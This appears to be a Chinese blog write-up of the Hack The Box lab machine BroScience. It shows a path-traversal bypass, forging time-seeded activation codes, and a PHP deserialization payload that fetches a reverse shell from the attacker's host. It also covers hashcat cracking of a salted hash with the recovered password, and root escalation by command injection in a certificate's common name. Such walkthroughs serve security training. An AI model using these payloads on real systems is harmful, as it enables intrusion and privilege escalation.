HTB-BroScience

发布于 2023-01-16  656 次阅读


房间链接:

https://app.hackthebox.com/machines/BroScience

挑战开始:

首先还是先扫描下端口

nmap -sC -sV -Pn 10.10.11.195

可以看到开放了22,80和443

把broscience.htb加入host
访问

这里我们用dirsearch进行信息搜集

dirsearch -e* -u https://broscience.htb/

找到了部分目录文件

网站右上角有登陆界面,访问进入登录界面
点击注册

尝试注册登录,但是注册的账号都需要邮箱验证
抓包测试了下注入之类,也都不存在

这时开始看探测出的目录
includes下面有5个文件
在点击img.php的时候,提示缺失参数

我们把参数补上,看到path首先想到的是任意文件读取
接着开始尝试
直接../../提示检测到攻击

尝试绕过
使用双重url编码成功绕过

接着查看下includes下面的一些文件
db_connect.php

img.php

utils.php

utils.php这个文件似乎是一个关键的东西
先看看注册的文件源码

在注册的时候生成了一个激活链接,链接中的激活码由utils.php生成
这时候我们回到utils.php,可以看到是基于时间生成的激活码

链接:

https://broscience.htb/activate.php?code={$activation_code}

关键代码:

function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

我们要获取时间,然后归一化处理。
重新创建账号,获取时间

在线转换

重新构造一个php

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(1673846360);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
echo generate_activation_code();
?>

kali中 php -f
获取激活码

拼接激活链接

https://broscience.htb/activate.php?code=etQQ0cqGtz6dPZ5wjRbwvqMGYRmnawcr

成功激活账号

进入后台

右上角有一个更换主题的按钮
我们查看下源码


还得回到utils.php中看

感觉好像存在反序列化漏洞
代码中存在魔法函数__wakeup(),执行unserialize()时,先会调用这个函数

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

我可以控制文件发出url请求,并远程打开一个文件
攻击路径:
serialize -> AvatarInterface -> imgpath=/var/www/html/shell.php -> file_get_contents=http://10.10.16.19:8000/shell.php

这里我们准备下反弹shell的马
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

修改下上面的代码

<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$obj = new AvatarInterface();
$obj->imgPath = '/var/www/html/shell.php';
$obj->tmp = 'http://10.10.16.19:8000/shell.php';
$obj_serialize = base64_encode(serialize($obj));
echo $obj_serialize;
?>

kali里面执行生成编码后的参数

接着我们更改cookie

接着在切换主题

可以发现shell被成功访问
接着本地做好监听
访问shell
可以发现成功收到shell

但是权限仍然不足

开始尝试提权
首先我们上面获取了数据库的链接密码
我们先去数据库里面看看
5432端口是postgresql
尝试访问

找到了bill的密码13edad4932da9dbb57d9cd15b66ed104
但是cmd5解不开,应该是加盐了
我们查看下源码

md5(db_salt . $_POST['password'])
db_salt已知

这里我们可以用hashcat爆破密码

hashcat -m 20 -a 0 13edad4932da9dbb57d9cd15b66ed104:NaCl /usr/share/wordlists/rockyou.txt --show

成功获取密码iluvhorsesandgym

尝试登陆
成功切换账号,成功找到user flag

接着尝试提权,这里linpea没有找到好用的提权方法,最后在opt下找到了一个脚本

该脚本是一个 bash 脚本,用于检查给定 SSL 证书文件是否过期,如果接近过期,它将打印出有关证书的信息,例如国家、州、组织和通用名称。该脚本接受一个参数,即证书的文件名,它使用 openssl 命令检查证书的到期日期并从证书中提取信息。如果证书还不需要续订,脚本将退出,状态代码为 0,如果证书即将过期,则状态代码为 1。因此,如果我们创建一个即将过期的证书,root 将生成一个新证书,并且在通用名称中包含恶意代码,以便 root 用户执行它。

进入bill目录下的certs文件夹
生成证书

openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1

上面都随便填,common name填$(chmod u+s /bin/bash)

稍等进程触发,执行/bin/bash -p
成功提权
成功获取flag

届ける言葉を今は育ててる
最后更新于 2023-01-16